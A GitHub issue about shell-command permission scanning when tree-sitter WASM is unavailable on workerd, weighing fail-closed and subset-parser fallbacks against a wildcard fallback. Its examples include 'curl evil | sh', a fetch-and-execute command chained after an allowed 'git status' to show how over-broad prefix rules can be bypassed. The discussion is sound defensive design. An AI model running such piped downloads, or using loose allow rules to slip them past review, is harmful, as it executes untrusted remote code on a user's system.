Skip to content

core: shell permission scanning on runtimes without tree-sitter WASM (workerd) #42184

Closed

Description

@kitlangton

Problem

ShellParse.scan is the foundation of shell permissioning: it decomposes a command into per-subcommand resources so rules evaluate each piece (git status && curl evil | sh → three resources). It is backed by web-tree-sitter WASM (bash + powershell), and core uses tree-sitter for exactly this one feature.

On workerd the parser cannot load at all, for three stacked reasons:

  1. Grammar assets are resolved from the filesystem (locateFile/fileURLToPath) — no fs in workerd.
  2. workerd bans runtime WASM compilation (WebAssembly.compile(bytes) / new Module(bytes)); WASM must arrive as deploy-time module bindings.
  3. Even with a precompiled Module in hand there is no hook to inject it: Language.load goes through emscripten's dynamic linker, which compiles grammar bytes internally.

Today the workerd profile stubs the assets (parser-wasm.workerd.ts returns empty paths), so scan fails and shell is effectively dead in workerd Locations that have an execution plane.

#42173 (now draft) tried the obvious fallback — on load failure, return ONE resource for the whole command with a prefix * save pattern — and it is unsafe: collapsing a compound command into a single resource makes prefix rules like allow "git *" glob-match git status && curl evil.sh | sh, and the wildcard save remembers that over-broad rule permanently. Silent permission-granularity downgrade, triggered by any load failure on any platform.

Options

1. Fail-closed fallback (minimum viable). No parser → the command is unparseable: resource = exact command string, save = exact string (never a wildcard), so only a blanket allow or an exact remembered rule passes; everything else asks. Strictly never looser than tree-sitter. Cost: over-asking in workerd for everything.

2. Conservative TS subset parser (recommended next step). A quote-aware tokenizer + splitting on && || ; | + simple redirects, with hard bail-out (→ option 1 behavior) on anything dynamic: $(…), backticks, ${…}, process substitution, eval, bash -c, variables in command position. Precedent: grok-build parses with tree-sitter-bash but then enforces a strict node-kind allowlist (try_parse_word_only_commands_sequence) — words, strings, safe operators, redirects only — and fails closed to Ask on everything else; their wrapper-peeling (env/timeout/nice) and whitespace-prefix (CWE-178) cases are a ready-made adversarial corpus. The existing ARITY save-pattern table is parser-independent and carries over. Since core uses tree-sitter only for shell scanning, if this subset grows to cover what agents actually emit (env prefixes, heredocs), it could eventually replace tree-sitter in core entirely: no wasm assets, no per-runtime seams. Open questions before "replace": PowerShell fidelity on Windows, and substitution-recursion UX (tree-sitter decomposes git commit -m "$(cat <<'EOF'…)" into inner commands instead of asking).

3. Static single-module WASM build. Compile tree-sitter core + grammars into one module (no dynamic linking), import it as a workerd module binding, patch Language.load's tail to wrap the already-exported tree_sitter_bash symbol. Full fidelity everywhere and it kills the whole locateFile asset-path fragility class — but core takes on an emscripten build pipeline and loses npm prebuilts, in service of one function.

4. Patch web-tree-sitter's dynamic linker to accept { module, bytes } (parse dylink metadata from bytes, instantiate the precompiled Module — instantiating a Module is legal in workerd). Smallest diff for full fidelity, but it patches generated emscripten glue that churns on every web-tree-sitter release.

Suggested direction

1 + 2 now (2's failure mode is over-asking, never over-allowing), keep 3/4 as follow-ups only if the subset parser's ask-noise turns out to matter in practice. Interested in opinions on the "2 eventually replaces tree-sitter in core" endgame, particularly the PowerShell story.

Activity

  1. neriousy commented on Oct 21, 2026

    @neriousy
    Member

    Done: the portable TS shell scanner (#42351, #42581, hardened in #53277/#53404) now handles shell scanning when tree-sitter wasm is unavailable, which includes workerd (packages/core/src/shell/parse.ts scanPortable). Commands it can't analyze fail closed instead of collapsing into a wildcard rule.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions